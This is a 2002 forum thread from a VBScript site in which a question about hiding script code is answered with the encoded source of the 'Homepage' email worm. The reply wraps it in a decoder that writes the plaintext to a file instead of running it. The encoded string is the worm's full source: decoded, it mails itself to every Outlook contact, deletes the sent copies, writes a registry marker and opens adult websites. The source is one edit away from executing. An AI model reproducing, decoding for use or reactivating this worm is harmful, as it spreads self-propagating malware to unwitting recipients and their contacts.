Photo Gallery Member List Search Calendars FAQ Ticket List Log Out


.VBS Encryption

 
Logged in as: Guest
arrSession:exec spGetSession 2,2,646
 Active Users: There are 0 members and 0 guests.
 Users viewing this topic: none
 

 

 
  
  Printable Version
All Forums >> [Scripting] >> WSH & Client Side VBScript >> .VBS Encryption
  Do you like VisualBasicScript.com? Link to us and help spread the word about our forum. Thanks!
Page: [1]
Login
Message << Older Topic   Newer Topic >>
 .VBS Encryption - 6/30/2002 8:26:15 PM   
  Spyder-Man

 

Posts: 12
Score: 0
Joined: 6/30/2002
From:
Status: offline
Hi,
How can you encrypt a .vbs file so that others cant see the code. Nothing serious or complicated just a simple encryption that will hide your code ? (An example would be great)
 
 
Post #: 1
 
 Re: .VBS Encryption - 7/2/2002 1:01:26 AM   
  imav8n

 

Posts: 95
Score: 0
Joined: 7/3/2001
From: USA
Status: offline
When the company I work for got hit with the homepage virus, I was a little bit curious how they did it, so I took a copy of the .vbs file and played with it. The virus file is actually an encoded .vbs script...I modified it slightly, so it wrote out to a text file instead of executing on the system...

It's a good example of simple encryption, and is also interesting to see how the virus exploited systems. Since most virus scanners will block this anyway, I'll post the encrypted part here...copy this to a file and execute it...I promise, all it will do is dump the contents to a text file...but you should be able to see that for yourself.

Dim objFileSystem
Dim objFilez

Set objFileSystem = wscript.CreateObject( "Scripting.FileSystemObject" )
Set objFilez = objFileSystem.createTextFile("output.txt", true)

Execute DeCode("Qp.Gttqt.Tguwog.Pgzv..Ugv.YU.?.EtgcvgQdlgev*$YUetkrv0Ujgnn$+..Ugv.HUQ?.Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+..Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+....Ugv.KpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+..Fq.Yjkng.KpH0CvGpfQhUvtgco>@Vtwg..UetkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnh..Nqqr....Ugv.QwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+..QwvH0ytkvg.UetkrvDwhhgt..QwvH0enqug..Ugv.HUQ?Pqvjkpi....Kh.YU0tgitgcf.*$JMEW^uqhvyctg^Cp^ockngf$+.>@.$3$.vjgp..Ocknkv*+..Gpf.Kh....Ugv.u?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+..Ugv.v?u0IgvPcogUrceg*$OCRK$+..Ugv.w?v0IgvFghcwnvHqnfgt*8+..Hqt.k?3.vq.w0kvgou0eqwpv..Kh.w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$.Vjgp..w0Kvgou0Kvgo*k+0enqug..w0Kvgou0Kvgo*k+0fgngvg..Gpf.Kh..Pgzv..Ugv.w?v0IgvFghcwnvHqnfgt*5+..Hqt.k?3.vq.w0kvgou0eqwpv..Kh.w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$.Vjgp..w0Kvgou0Kvgo*k+0fgngvg..Gpf.Kh..Pgzv....Tcpfqok|g..t?Kpv**6,Tpf+-3+..Kh.t?3.vjgp..YU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+..gnugkh.t?4.Vjgp..YU0Twp*$jvvr<11ogodgtu0pdek0eqo1aZOEO1rtkp|lg130jvo$+..gnugkh.t?5.Vjgp..YU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+..GnugKh.t?6.Vjgp..YU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+..Gpf.Kh....Hwpevkqp.Ocknkv*+..Qp.Gttqt.Tguwog.Pgzv..Ugv.Qwvnqqm.?.EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+..Kh.Qwvnqqm.?.$Qwvnqqm$.Vjgp...Ugv.Ocrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+...Ugv.Nkuvu?Ocrk0CfftguuNkuvu...Hqt.Gcej.NkuvKpfgz.Kp.Nkuvu....Kh.NkuvKpfgz0CfftguuGpvtkgu0Eqwpv.>@.2.Vjgp.....EqpvcevEqwpv.?.NkuvKpfgz0CfftguuGpvtkgu0Eqwpv.....Hqt.Eqwpv?.3.Vq.EqpvcevEqwpv......Ugv.Ockn.?.Qwvnqqm0EtgcvgKvgo*2+......Ugv.Eqpvcev.?.NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+......Ockn0Vq.?.Eqpvcev0Cfftguu......Ockn0Uwdlgev.?.$Jqogrcig$......Ockn0Dqf{.?.xdetnh($Jk#$(xdetnh(xdetnh($[qw)xg.iqv.vq.ugg.vjku.rcig#.Kv)u.tgcnn{.eqqn.=Q+$(xdetnh(xdetnh......Ugv.Cvvcejogpv?Ockn0Cvvcejogpvu......Cvvcejogpv0Cff.Hqnfgt.(.$^jqogrcig0JVON0xdu$......Ockn0FgngvgChvgtUwdokv.?.Vtwg......Kh.Ockn0Vq.>@.$$.Vjgp......Ockn0Ugpf......YU0tgiytkvg.$JMEW^uqhvyctg^Cp^ockngf$..$3$.....Gpf.Kh.....Pgzv....Gpf.Kh...Pgzv..Gpf.kh..Gpf.Hwpevkqp")

Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then
CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then
CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then
CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then
CurChar= Chr(9)
Else
CurChar = Chr(Asc(CurChar) - 2)
End If
objFilez.write CurChar
Next
End Function


~imav8n
Failure is not an option.....it comes bundled with the software.

(in reply to Spyder-Man)
 
 
Post #: 2
 
 
 
  

If you found our site useful please link to us <a href="http://www.visualbasicscript.com">VisualBasicScript.com</a>.
All Forums >> [Scripting] >> WSH & Client Side VBScript >> .VBS Encryption Page: [1]
Jump to:





New Messages No New Messages
Hot Topic w/ New Messages Hot Topic w/o New Messages
Locked w/ New Messages Locked w/o New Messages
 Post New Thread
 Reply to Message
 Post New Poll
 Submit Vote
 Delete My Own Post
 Delete My Own Thread
 Rate Posts